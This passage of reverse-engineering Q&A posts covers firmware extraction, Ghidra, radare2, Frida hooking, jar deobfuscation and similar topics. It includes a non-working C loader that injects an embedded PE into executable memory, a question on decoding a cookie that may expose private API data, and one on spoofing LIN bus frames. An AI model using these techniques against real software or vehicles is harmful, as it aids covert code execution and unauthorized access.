+304803        0x4A6A3         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2963 bytes
+305922        0x4AB02         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7477 bytes
+308178        0x4B3D2         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7477 bytes
+310439        0x4BCA7         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1775 bytes
+311263        0x4BFDF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1632 bytes
+312030        0x4C2DE         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4224 bytes
+313686        0x4C956         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1153 bytes
+314414        0x4CC2E         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5012 bytes
+316158        0x4D2FE         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 488 bytes
+316482        0x4D442         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 488 bytes
+317170        0x4D6F2         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 51062 bytes
+332889        0x51459         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2749 bytes
+333949        0x5187D         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4651 bytes
+335686        0x51F46         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 6097 bytes
+337739        0x5274B         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4053 bytes
+339762        0x52F32         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3697 bytes
+341293        0x5352D         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1192 bytes
+341816        0x53738         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2243 bytes
+343029        0x53BF5         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2170 bytes
+344119        0x54037         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 9547 bytes
+347922        0x54F12         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 853 bytes
+348334        0x550AE         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5375 bytes
+350578        0x55972         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 293 bytes
+350820        0x55A64         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 9203 bytes
+354193        0x56791         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1635 bytes
+355082        0x56B0A         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2386 bytes
+356351        0x56FFF         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 711 bytes
+356748        0x5718C         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 648 bytes
+357145        0x57319         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 677 bytes
+357515        0x5748B         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 439 bytes
+357712        0x57550         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 335 bytes
+357966        0x5764E         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 806 bytes
+358456        0x57838         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 943 bytes
+358927        0x57A0F         GIF image data, version "89a", 135 x 22
+359664        0x57CF0         GIF image data, version "89a", 135 x 22
+360741        0x58125         GIF image data, version "89a", 220 x 22
+361644        0x584AC         GIF image data, version "89a", 200 x 22
+362555        0x5883B         GIF image data, version "89a", 285 x 1
+362630        0x58886         GIF image data, version "89a", 182 x 28
+363147        0x58A8B         GIF image data, version "89a", 182 x 45
+363899        0x58D7B         GIF image data, version "89a", 182 x 60
+364866        0x59142         GIF image data, version "89a", 182 x 28
+367685        0x59C45         GIF image data, version "89a", 182 x 45
+371953        0x5ACF1         GIF image data, version "89a", 182 x 60
+375470        0x5BAAE         GIF image data, version "89a", 182 x 28
+375997        0x5BCBD         GIF image data, version "89a", 182 x 45
+376943        0x5C06F         GIF image data, version "89a", 182 x 60
+378366        0x5C5FE         GIF image data, version "89a", 182 x 28
+379005        0x5C87D         GIF image data, version "89a", 182 x 45
+379714        0x5CB42         GIF image data, version "89a", 182 x 28
+380346        0x5CDBA         GIF image data, version "89a", 182 x 45
+381053        0x5D07D         GIF image data, version "89a", 605 x 1
+381136        0x5D0D0         GIF image data, version "89a", 170 x 42
+381348        0x5D1A4         GIF image data, version "89a", 170 x 60
+381614        0x5D2AE         GIF image data, version "89a", 169 x 26
+381773        0x5D34D         GIF image data, version "89a", 295 x 271
+384103        0x5DC67         GIF image data, version "89a", 23 x 23
+384298        0x5DD2A         GIF image data, version "89a", 20 x 20
+384708        0x5DEC4         GIF image data, version "89a", 24 x 22
+385099        0x5E04B         GIF image data, version "89a", 295 x 34
+385291        0x5E10B         GIF image data, version "89a", 131 x 22
+385976        0x5E3B8         GIF image data, version "89a", 599 x 210
+388759        0x5EE97         GIF image data, version "89a", 192 x 192
+393237        0x60015         GIF image data, version "89a", 186 x 36
+394236        0x603FC         GIF image data, version "89a", 192 x 192
+400870        0x61DE6         GIF image data, version "89a", 176 x 2
+400942        0x61E2E         GIF image data, version "89a", 192 x 192
+405140        0x62E94         GIF image data, version "89a", 186 x 36
+405812        0x63134         GIF image data, version "89a", 47 x 45
+406661        0x63485         GIF image data, version "89a", 190 x 29
+409465        0x63F79         GIF image data, version "89a", 190 x 58
+413125        0x64DC5         GIF image data, version "89a", 191 x 27
+413819        0x6507B         GIF image data, version "89a", 190 x 29
+414503        0x65327         GIF image data, version "89a", 190 x 58
+415868        0x6587C         GIF image data, version "89a", 190 x 50
+416324        0x65A44         GIF image data, version "89a", 147 x 22
+417280        0x65E00         GIF image data, version "89a", 147 x 22
+418104        0x66138         GIF image data, version "89a", 99 x 22
+418555        0x662FB         GIF image data, version "89a", 124 x 22
+419214        0x6658E         GIF image data, version "89a", 147 x 22
+420170        0x6694A         GIF image data, version "89a", 242 x 41
+423298        0x67582         GIF image data, version "89a", 131 x 22
+424314        0x6797A         GIF image data, version "89a", 175 x 22
+425455        0x67DEF         GIF image data, version "89a", 147 x 22
+426686        0x682BE         GIF image data, version "89a", 190 x 22
+427866        0x6875A         GIF image data, version "89a", 135 x 22
+428885        0x68B55         GIF image data, version "89a", 47 x 45
+429716        0x68E94         GIF image data, version "89a", 1636 x 83
+430329        0x690F9         GIF image data, version "89a", 818 x 83
+432720        0x69A50         GIF image data, version "89a", 46 x 13
+432966        0x69B46         GIF image data, version "89a", 45 x 12
+433329        0x69CB1         GIF image data, version "89a", 618 x 25
+434251        0x6A04B         GIF image data, version "89a", 20 x 21
+434929        0x6A2F1         GIF image data, version "89a", 120 x 31
+435048        0x6A368         GIF image data, version "89a", 200 x 31
+435189        0x6A3F5         GIF image data, version "89a", 220 x 31
+435335        0x6A487         GIF image data, version "89a", 160 x 31
+435466        0x6A50A         GIF image data, version "89a", 120 x 31
+435585        0x6A581         GIF image data, version "89a", 200 x 31
+435726        0x6A60E         GIF image data, version "89a", 220 x 31
+435872        0x6A6A0         GIF image data, version "89a", 160 x 31
+436003        0x6A723         GIF image data, version "89a", 16 x 12
+436067        0x6A763         GIF image data, version "87a", 371 x 38
+440721        0x6B991         GIF image data, version "89a", 320 x 22
+441762        0x6BDA2         GIF image data, version "89a", 320 x 22
+442886        0x6C206         GIF image data, version "89a", 125 x 22
+443571        0x6C4B3         GIF image data, version "89a", 7 x 7
+443741        0x6C55D         GIF image data, version "89a", 39 x 22
+444060        0x6C69C         GIF image data, version "89a", 95 x 22
+444502        0x6C856         GIF image data, version "89a", 65 x 22
+444868        0x6C9C4         GIF image data, version "89a", 157 x 27
+445711        0x6CD0F         GIF image data, version "89a", 152 x 23
+446606        0x6D08E         GIF image data, version "89a", 1 x 1
+446649        0x6D0B9         GIF image data, version "89a", 99 x 22
+447100        0x6D27C         GIF image data, version "89a", 16 x 2
+447152        0x6D2B0         GIF image data, version "89a", 24 x 23
+447906        0x6D5A2         GIF image data, version "89a", 8 x 23
+448114        0x6D672         GIF image data, version "89a", 10 x 23
+448449        0x6D7C1         GIF image data, version "89a", 1 x 97
+448498        0x6D7F2         GIF image data, version "89a", 30 x 30
+454835        0x6F0B3         JPEG image data, JFIF standard 1.01
+454865        0x6F0D1         TIFF image data, big-endian, offset of first image directory: 8
+456342        0x6F696         JPEG image data, JFIF standard 1.01
+457912        0x6FCB8         JPEG image data, JFIF standard 1.01
+459560        0x70328         JPEG image data, JFIF standard 1.01
+461071        0x7090F         JPEG image data, JFIF standard 1.01
+461101        0x7092D         TIFF image data, big-endian, offset of first image directory: 8
+462957        0x7106D         JPEG image data, JFIF standard 1.01
+462987        0x7108B         TIFF image data, big-endian, offset of first image directory: 8
+464892        0x717FC         JPEG image data, JFIF standard 1.01
+464922        0x7181A         TIFF image data, big-endian, offset of first image directory: 8
+466799        0x71F6F         JPEG image data, JFIF standard 1.01
+468465        0x725F1         JPEG image data, JFIF standard 1.01
+468495        0x7260F         TIFF image data, big-endian, offset of first image directory: 8
+470431        0x72D9F         JPEG image data, JFIF standard 1.01
+470461        0x72DBD         TIFF image data, big-endian, offset of first image directory: 8
+472478        0x7359E         JPEG image data, JFIF standard 1.01
+474586        0x73DDA         JPEG image data, JFIF standard 1.01
+476701        0x7461D         JPEG image data, JFIF standard 1.01
+476731        0x7463B         TIFF image data, big-endian, offset of first image directory: 8
+478855        0x74E87         JPEG image data, JFIF standard 1.01
+478885        0x74EA5         TIFF image data, big-endian, offset of first image directory: 8
+481212        0x757BC         JPEG image data, JFIF standard 1.01
+481242        0x757DA         TIFF image data, big-endian, offset of first image directory: 8
+483575        0x760F7         JPEG image data, JFIF standard 1.01
+484861        0x765FD         JPEG image data, JFIF standard 1.01
+486220        0x76B4C         JPEG image data, JFIF standard 1.01
+487649        0x770E1         JPEG image data, JFIF standard 1.02
+488663        0x774D7         JPEG image data, JFIF standard 1.02
+489587        0x77873         JPEG image data, JFIF standard 1.02
+490506        0x77C0A         JPEG image data, JFIF standard 1.02
+
+
+w/ binwalk -E i've this output: +

+DECIMAL       HEXADECIMAL     ENTROPY
+--------------------------------------------------------------------------------
+0             0x0             Rising entropy edge (0.971396)
+267264        0x41400         Falling entropy edge (0.749340)
+268288        0x41800         Rising entropy edge (0.965116)
+316416        0x4D400         Falling entropy edge (0.817658)
+317440        0x4D800         Rising entropy edge (0.974117)
+364544        0x59000         Falling entropy edge (0.712331)
+367616        0x59C00         Falling entropy edge (0.788928)
+368640        0x5A000         Rising entropy edge (0.955394)
+371712        0x5AC00         Falling entropy edge (0.669882)
+372736        0x5B000         Rising entropy edge (0.962893)
+381952        0x5D400         Rising entropy edge (0.951576)
+390144        0x5F400         Rising entropy edge (0.959505)
+401408        0x62000         Rising entropy edge (0.957726)
+406528        0x63400         Falling entropy edge (0.751087)
+407552        0x63800         Rising entropy edge (0.962352)
+409600        0x64000         Falling entropy edge (0.835638)
+410624        0x64400         Rising entropy edge (0.961142)
+415744        0x65800         Falling entropy edge (0.838426)
+419840        0x66800         Falling entropy edge (0.837450)
+421888        0x67000         Rising entropy edge (0.951411)
+425984        0x68000         Rising entropy edge (0.956190)
+428032        0x68800         Falling entropy edge (0.845137)
+430080        0x69000         Rising entropy edge (0.954675)
+435200        0x6A400         Falling entropy edge (0.824996)
+436224        0x6A800         Rising entropy edge (0.959224)
+448512        0x6D800         Rising entropy edge (0.977768)
+460800        0x70800         Falling entropy edge (0.776163)
+462848        0x71000         Falling entropy edge (0.806674)
+464896        0x71800         Falling entropy edge (0.847345)
+468992        0x72800         Rising entropy edge (0.952799)
+476160        0x74400         Falling entropy edge (0.823714)
+479232        0x75000         Falling entropy edge (0.846434)
+481280        0x75800         Falling entropy edge (0.827863)
+491520        0x78000         Rising entropy edge (0.973460)
+1926144       0x1D6400        Falling entropy edge (0.646491)
+
+
+and this graph: + + +w/ dd if=firmware.img of=firmware.lzma skip=xx count=xxxxx bs=1 obtain only .lzma corrupted files +w/ binwalk -e obtain only numeric files + same numeric files on .7z archives +my goal is extract (also only listing) all .htm files on /www folder +" +"['assembly', 'objdump']"," Title: Objdump -S without assemblyBody: I compiled my c source code and got an elf. +I use "objdump -Sl" but don't need the assembly instructions. +Is there a way to use objdump without the assembly part (or other tool)? +for example, now i get this: +
**/home/test/src/main.c:764
+{
+    return OPERATE_ON;
+}
+else
+{
+    return OPERATE_OFF;**
+ 102:   ed88        li  v1,8
+ 103:   0044 1818   movn    v1,a0,v0
+ 104:   3042 0000   addiu   v0,v0,0
+ 108:   c845        sw  v0,20(sp)
+ 10a:   41a7 1000   lui a3,0x1000
+ 10e:   3040 02fc   li  v0,764
+
+but I only care about the c code: +
    **/home/test/src/main.c:764
+{
+    return OPERATE_ON;
+}
+else
+{
+    return OPERATE_OFF;**
+
+*I know it's possible with tee or regex, but I don't want the assembly instruction at all to make the objdump work faster +Thanks +" +"['java', 'deobfuscation', 'jar']"," Title: How to decompile heavily obfuscated classes mixed with Arabic/Chinese/Korean characters?Body: I recently downloaded a jar file and was curious to see if it was malicious, so I ran it through FernFlower and it wasn't able to deobfuscate it. When I unzipped the jar, I looked inside it and saw multiple folders, maybe 40~ ish consisting of a mixture of Chinese, Korean, and Arabic. This was raising a heavy red flag for me; so I tried multiple decompiliers consisting of things like JD-Gui, Bytecode viewer, and Krakatau. All seemed to decompile the normal folders fine, but not the mixed language ones. +I think its safe to say that whoever made this jar, clearly didn't want me to check whats inside. I want to make sure it's not a malicious jar file (like I said earlier...) +So how would I go around deobfuscating the jar file? +Because the entire jar is 73MB (yikes), here is a zip file of one of the language folders +" +['ghidra']," Title: Wrap-around MCU memory map definition with negative addressesBody: I figured it'd be more appropriate to ask this question here: +https://github.com/NationalSecurityAgency/ghidra/issues/2530#issuecomment-785007613 +Given this linear address space a particular MCU: + +It's not easily definable as-is on the memory manager, see: +
memory = currentProgram.getMemory()
+fb = memory.getAllFileBytes()   
+blk = memory.getBlock(toAddr(0x0))
+memory.removeBlock(blk, monitor)
+
+memory.createUninitializedBlock("internal_ram",toAddr(0x3ff8000),0x2fff,False)
+memory.createUninitializedBlock("peripherals", toAddr(0x3ffefff),0xfff, False)
+memory.createInitializedBlock("rom", toAddr(0x0), fb[0], 0, 0x1000000, False)
+disassemble(toAddr(0x0))
+
+Yields: +
Traceback (most recent call last):
+  File "python", line 1, in <module>
+    at ghidra.program.database.mem.MemoryMapDB.checkBlock(MemoryMapDB.java:1043)
+    at ghidra.program.database.mem.MemoryMapDB.removeBlock(MemoryMapDB.java:1850)
+    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+    at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+    at java.base/java.lang.reflect.Method.invoke(Method.java:566)
+java.lang.IllegalArgumentException: java.lang.IllegalArgumentException: Blocks do not belong to this program
+ghidra.program.database.mem.MemoryBlockDB@6f03ae13
+ghidra.program.database.mem.MemoryBlockDB@38d5ac1c
+ghidra.program.database.mem.MemoryBlockDB@6ad8b9ac
+
+What would be the correct sequence of arguments/flags/(instruction ordering?) to have a correct representation of a loaded V850 16MB firmware (size 0x1000000) on Ghidra? What am I doing wrong? +Here's the MCU PDF address space section for reference +" +['radare2']," Title: Golang program reversing with Radare2Body: I'm trying to understand how to reverse golang programs with radare2. In order to practice, i create a minimal program in Go: +
package main
+import "fmt"
+func main() {
+    fmt.Println("Hello World!")
+}
+
+In the resulting assembly code below, i found the main function (main.main) but i can't figure how to display the string passed in argument to Println. +
;-- sym.go.main.main:
+mov rcx, qword fs:[0xfffffffffffffff8]
+cmp rsp, qword [rcx + 0x10]
+jbe 0x485097
+sub rsp, 0x48
+mov qword [var_40h], rbp
+lea rbp, [var_40h]
+xorps xmm0, xmm0
+movups xmmword [var_30h], xmm0
+lea rax, [0x004958e0]
+mov qword [var_30h], rax
+lea rax, obj.main.statictmp_0 ; 0x4c8490
+mov qword [var_38h], rax
+lea rax, [var_30h]
+mov qword [rsp], rax
+mov qword [var_8h], 1
+mov qword [var_10h], 1
+call sym.fmt.Println
+mov rbp, qword [var_40h]
+add rsp, 0x48
+ret
+call sym.runtime.morestack_noctxt
+jmp sym.main.main
+
+Any tips ? Im new in reverse. +" +['ghidra']," Title: Specify which analyses to perform in Ghidra headless modeBody: Basically, Ghidra in headless mode is divided into three phases: preScript, analysis, and postScript. +Pre/post scripts are written extending the GhidraScript class, while analysis ones extend the AbstractAnalyzer class. +When you run Ghidra in headless mode, you can specify which pre/post scripts you want to run (-preScript and -postScript options). +My questions is: how do I choose which analyses to perform? +For example, if I run this command: +
./analyzeHeadless /tmp test -import ~/Downloads/test.elf -scriptPath ~/ghidra_scripts/ -postScript TestScript.java
+[...]
+
+INFO  -----------------------------------------------------
+    ARM Constant Reference Analyzer           14.667 secs
+[...]
+    Subroutine References - One Time           0.000 secs
+-----------------------------------------------------
+     Total Time   86 secs
+-----------------------------------------------------
+ (AutoAnalysisManager)  
+
+
+How can I exclude the ARM Constant Reference Analyzer and add another analysis? +" +"['decryption', 'websites']"," Title: Reverse engineer decryption of cookieBody:

TL; DR

+Is there any way you might suggest decrypting this cookie? It was saved under the name mail, so I suspect it encrypts an email address: +4520382156EFC790B5B54696C4E175B5695F03D2D59C33858A62D6CDA18B7AB2 +Edit: Here is another one using another account: +BFE069DB7B7FDED51A7F81DF8CE3CAD8FB8B14D70BE3FA32F26C4A2136170CD6 +

Motivation

+When using a web portal, I noticed the same cookie is generated for my username every single time (i.e., it does not appear to be random). My concern is that there are several API endpoints with private info that can be accessed anonymously just using said string in the URL. +I suspect the string is a kind of user identifier, but I am not sure if it is generated using the values from my email address, or randomly based on time of creation. +

More details

+I can't go into specifics as I don't want this flaw to be exposed, compromising my info and getting me into trouble. However I know the portal is hosted on Microsoft IIS Server and built using the ASP.NET framework. I also suspect the implementation is rudimentary, so they probably aren't doing anything more sophisticated. +" +"['android', 'frida']"," Title: Hooking an interface method with Frida in an Android applicationBody: I'm trying to understand what an android application is sending over the network and as such am trying to hook into it with Frida, specifically a method called storeKeys . +I was able to perform the Android tutorial from Frida's website, so I know it's working. But when I issue this command, it tells me it hooked 0 functions: +
frida-trace -U -i storeKeys com.vendor.app
+
+I thus fired up apktool to get a readable set of source files and I could find storeKeys in two places. The first is the place where it gets called: +
# virtual methods
+.method public a(Ljava/lang/String;)I
+    .locals 2
+
+    const-string v0, "jwtToken"
+
+    invoke-static {p1, v0}, Lkotlin/e/b/i;->b(Ljava/lang/Object;Ljava/lang/String;)V
+
+    .line 20
+    invoke-virtual {p0}, Lcom/vendor/alljoynbridge/provisioning/f;->getProxyObject()Lorg/alljoyn/bus/ProxyBusObject;
+
+    move-result-object v0
+
+    const-class v1, Lcom/vendor/alljoynbridge/provisioning/ProvisioningMediationTransport;
+
+    invoke-virtual {v0, v1}, Lorg/alljoyn/bus/ProxyBusObject;->getInterface(Ljava/lang/Class;)Ljava/lang/Object;
+
+    move-result-object v0
+
+    check-cast v0, Lcom/vendor/alljoynbridge/provisioning/ProvisioningMediationTransport;
+
+    .line 21
+    invoke-interface {v0, p1}, Lcom/vendor/alljoynbridge/provisioning/ProvisioningMediationTransport;->storeKeys(Ljava/lang/String;)S
+
+    move-result p1
+
+    return p1
+.end method
+
+The second appears to be its declaration: +
.class public interface abstract Lcom/vendor/alljoynbridge/provisioning/ProvisioningMediationTransport;
+.super Ljava/lang/Object;
+.source "ProvisioningMediationTransport.java"
+
+# interfaces
+.implements Lorg/alljoyn/bus/BusObject;
+
+
+# annotations
+.annotation runtime Lorg/alljoyn/bus/annotation/BusInterface;
+    announced = "true"
+    name = "com.app.standard.infrastructure.api.device.mediation.client"
+.end annotation
+
+.annotation runtime Lorg/alljoyn/bus/annotation/Secure;
+.end annotation
+
+
+# static fields
+.field public static final INTERFACE_NAME:Ljava/lang/String; = "com.app.standard.infrastructure.api.device.mediation.client"
+
+.field public static final OBJ_PATH:Ljava/lang/String; = "/Provisioning"
+
+
+# virtual methods
+.method public abstract storeKeys(Ljava/lang/String;)S
+    .annotation system Ldalvik/annotation/Throws;
+        value = {
+            Lorg/alljoyn/bus/BusException;
+        }
+    .end annotation
+
+    .annotation runtime Lorg/alljoyn/bus/annotation/BusMethod;
+        replySignature = "n"
+        signature = "s"
+    .end annotation
+.end method
+
+What I'm most interested in seeing is the content of the String parameter given to storeKeys +It seems that because the method is virtual abstract, there is nothing for Frida to hook into. +What have I missed here?
+What would you suggest that I try next? +" +"['binary-format', 'windows-10', 'unknown-data']"," Title: Figuring out Win10 ShellMenuHost/StartMenuHost cache data relation for TilesBody: I have a weird bug that causes this crap: + +There are plenty of dumb "solutions" a-la "turn it off and on" but none of them work and/or relevant, the shell apps simply refuse to cache icon for Vivaldi. I confirmed it by checking cache data at: +%localappdata%\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\ +It contains 3 binary files: +
TileCache_125_3_PNGEncoded_Data.bin
+TileCache_125_3_PNGEncoded_Header.bin
+StartUnifiedTileModelCache.dat
+
+For us, only TileCache_125_3_PNGEncoded_Data.bin and TileCache_125_3_PNGEncoded_Header.bin are relevant. +

WHAT I KNOW

+[TileCache_125_3_PNGEncoded_Data.bin] +Contains raw binary PNG data in chunks, smallest chunk seems to be 1024b, padded with 0 if PNG data is smaller than chunk size. If PNG data is bigger than chunk size it is expanded by 2x i.e. becomes 2x by 1024 - 2048 and so on. Probably optimized for binary reading. Extracting all PNG data reveals it is missing exactly that one Vivaldi icon. +[TileCache_125_3_PNGEncoded_Header.bin] +The layout is also fairly simple, first 40 bytes is some header/meta data, 4bytes integer at offset 12 describes amount of entries, in my case 18, but should be 19. After the header, there are entries itself, 18 entries, each 112 bytes: + +Highlighted in red are: [offset], [all chunks size], [padding size] and [height]x[width] +

WHAT I DONT KNOW

+The data highlighted in blue is unknown to me, but I'm fairly sure it is somehow describes the relation between cache entry and the Start Menu tile. I assume some of them might be GUIDs, especially 16bytes long ones, but quick search for these guides in Registry resulted in nothing. +Knowing how that relation works could help me to manually insert the entry and fix this shit. +Or I could reinstall whole system like a buffon, yes. +" +"['debuggers', 'x64dbg']"," Title: Changing page permissions at runtime under a debuggerBody: Does x64dbg or another debugger provide a way to change the page permissions for all mapped pages for a given section at runtime? Perhaps via a plugin? +" +"['ida', 'deobfuscation']"," Title: IDA refuses to recognize basic block as part of function that jumps to itBody: I have a function MyFunc in an obfuscated program as follows: +
Start address: .text:000000014219FC5D
+End address: .text:000000014219FD0E
+
+MyFunc starts off by jumping to .text:000000014143C159, which is recognized correctly by IDA as FUNCTION CHUNK FOR MyFunc. +This basic block jumps to .text:000000014000B524, which is not recognized correctly by IDA. IDA recognizes it as a completely unrelated function. There are 0 other xrefs to this block in the program. +I'm guessing the problem is that the basic block is lower in address than the function start, so IDA can't consider it as a basic block of MyFunc. I'm guessing that the obfuscator splits basic blocks and then shuffles them (mixing them together with BBs from other functions). +What is the recommended approach to take in order to get analysis working? +" +"['x64dbg', 'angr']"," Title: Proper workflow for x64dbg to Angr?Body: I am trying to use Angr to reverse engineer a plugin for an application. This plugin is loaded via DLL by the main application. To debug, I use x64dbg to attach to the main application exe. I then set breakpoints in the plugin DLL, use the main program to trigger the breakpoint, and now I am at a breakpoint in x64dbg in the DLL of interest. +Using the call stack info, I want Angr's entry point to be a couple of levels up, still inside the plugin DLL (instead of starting at the default entry point of the main application, which I assume will generate way too many paths for Angr). I want Angr to find a path from there to the breakpoint. Here is where I become a bit confused. + +Then to find a path from an earlier point to the breakpoint address, I do something like +
sim_mgr = proj.factory.simulation_manager(state)
+sim_mgr.explore(find=failure_condition_from_original_breakpoint)
+
+But I just end up with sim_mgr.errored = saying <State errored with "No bytes in memory for block starting at 0x7ffd8dfb0f29"> +I suspect I am missing a few major concepts but any suggestions would be greatly appreciated. +" +"['memory', 'cheat-engine']"," Title: How does cheat engine's ""dissect data structures"" work?Body: In Cheat Engine there is function for analyse memory. The result of this analysis is types of memory bytes. I can't understand the algorithm of this analysis. How can it define that these bytes are float and these bytes are pointer? +" +['powerpc']," Title: MPC562 and M58BW016 Flash operationsBody: I am trying to modify the Flash memory of a board with a Freescale MPC562 processor, using an external 2 MB Flash chip M58BW016. So far I've been able to successfully read and write the chip's internal registers. However, while I can read the external flash, I cannot perform any modifications on it - erasing or writing. +I tried permanently pulling high the Write Protect pin on the chip, with no success. Please share your thoughts. +" +"['windows', 'pe', 'injection']"," Title: PE Self Injection Not WorkingBody: I'm working on different PE Injection technique. I want to inject PE file into virtual memory of the current executable. After that, I want to execute the injected PE file, I wrote an injection code, but my method is not working. +DOS header and NT header parse correctly, I write correctly sections and create new thread on the entrypoint of the .text section, but the thread is not working. What is the problem here? +
#include <iostream>
+#include <windows.h>
+
+int main()
+{
+    DWORD* ImageBase;
+    void* pImageBase;
+    IMAGE_NT_HEADERS* NTHeader;
+    IMAGE_DOS_HEADER* DOSHeader;
+    IMAGE_NT_HEADERS* mem_NTHeader;
+    IMAGE_DOS_HEADER* mem_DOSHeader;
+    IMAGE_SECTION_HEADER* SecHeader;
+    unsigned char memory_pe[] = { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, ........} // This is binary of PE file.
+    DOSHeader = PIMAGE_DOS_HEADER(memory_pe);
+    NTHeader = PIMAGE_NT_HEADERS(DWORD(memory_pe) + DOSHeader->e_lfanew);
+    pImageBase = VirtualAlloc(NULL, NTHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
+    memcpy(pImageBase, memory_pe, NTHeader->OptionalHeader.SizeOfHeaders);
+    for (int i = 0; i < NTHeader->FileHeader.NumberOfSections; i++) {
+        SecHeader = (PIMAGE_SECTION_HEADER)(DWORD(memory_pe) + DOSHeader->e_lfanew + 248 + (i * 40));
+        memcpy(LPVOID(DWORD(pImageBase) + SecHeader->VirtualAddress), LPVOID(DWORD(memory_pe) + SecHeader->PointerToRawData), SecHeader->SizeOfRawData);
+    }
+    mem_DOSHeader = PIMAGE_DOS_HEADER(pImageBase);
+    mem_NTHeader = PIMAGE_NT_HEADERS(DWORD(pImageBase) + mem_DOSHeader->e_lfanew);
+    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD(pImageBase) + mem_NTHeader->OptionalHeader.BaseOfCode), NULL, 0, NULL);
+    return 0;
+}
+
+" +['serial-communication']," Title: LIN bus frame replacementBody: I am searching for a way to replace certain frames on a LIN bus network. My aim is to be able to intercept a frame in transmission, and change certain bits. Naturally, that involves recalculating the checksum. +The problem I encounter is that after a bit is overwritten on the bus, the transmitting device stops sending data, as it senses the discrepancy on the bus and assumes there's a collision. Is there a way to overcome that behavior? +" +"['ghidra', 'address', 'segmentation']"," Title: How to make a reference to a different segment?Body: I am reverse engineering a very old LE MS-DOS binary and have convinced Ghidra that there are two segments in the file, one is the code segment and another one is the data segment. +Now when I look ad the disassembled code in a function of the code segment, I see this: +
   cseg:00074b82 66 c7 05        MOV        word ptr [DAT_00002670],0x1a00
+                 70 26 00 
+                 00 00 1a
+
+The problem is that I can not work with DAT_00002670, because Ghidra thinks that it is a reference to the code segment, but in reality it is a reference to the data segment through the DS register, so ds:0x2670 instead of cs:0x2670. +I tried to edit the reference with the references editor, but there is no option to set the destination segment. +How can I change the reference, so Ghidra recognize that it goes to the data segment? +" +"['ida', 'idapro-sdk']"," Title: How to retrieve an `insn_t`?Body: So I was looking around the IDA SDK and I saw insn_t - it looked useful - any ideas how can I retrieve it - I wasn't able to find any function that returns it. +" +['callstack']," Title: When sampling the call stack, what is the point of grouping it just because the function addresses are close?Body: https://nee.lv/2021/02/28/How-I-cut-GTA-Online-loading-times-by-70/ +
+Normally Luke would group the same functions together but since I don’t have debugging symbols I had to eyeball nearby addresses to guess if it’s the same place. And what do we see? Not one bottleneck but two of them! +
+Why does it make sense to group them together just because they are close? +" +['unpacking']," Title: Unpacking NSISbi compressed dataBody: I'm trying to figure out how to unpack the payload data made by NSISbi for of NSIS that adds support for installer size > 2GB. +Here is an example installer: +https://download.unity3d.com/download_unity/068178b99f32/Windows64EditorInstaller/UnitySetup64-2020.2.2f1.exe +Here are small examples of payloads between vanilla NSIS and NSISbi: +https://www.dropbox.com/sh/jn4iyppbj1v8fmf/AAAsqlymn8AHgYhSPAG9iU7Ka?dl=1 +7zip used to work on NSIS and forks but it cant open this one. So far I have figured out that there is some changes in signature match: +30000000EFBEADDE4E756C6C736F6674496E7374 (0 ï¾­ÞNullsoftInst) +and the payload size that comes after signature (skipping 4 bytes) is now no longer int32 but int64 (since it is a native int to have support for larger address): + +Just doing these changes (removing extra 30 00 00 00 from signature and extra bytes form payload size) to payload results in 7zip being able to partially open the zlip/blip/lzma compressed data but a lot of entries are missing and some names broken. +" +"['radare2', 'patch-reversing', 'crackme']"," Title: Why won't Radare2 display main's paramethers of a 32bit ELF on a 64 bit machine?Body: I am new to reversing and currently trying to follow this tutorial, in which the binary provided was compiled on a 32 bit machine hence the file is a "ELF 32-bit LSB executable". It runs correctly on my 64bit ubuntu machine however when I load it into radare2 I don't get the same 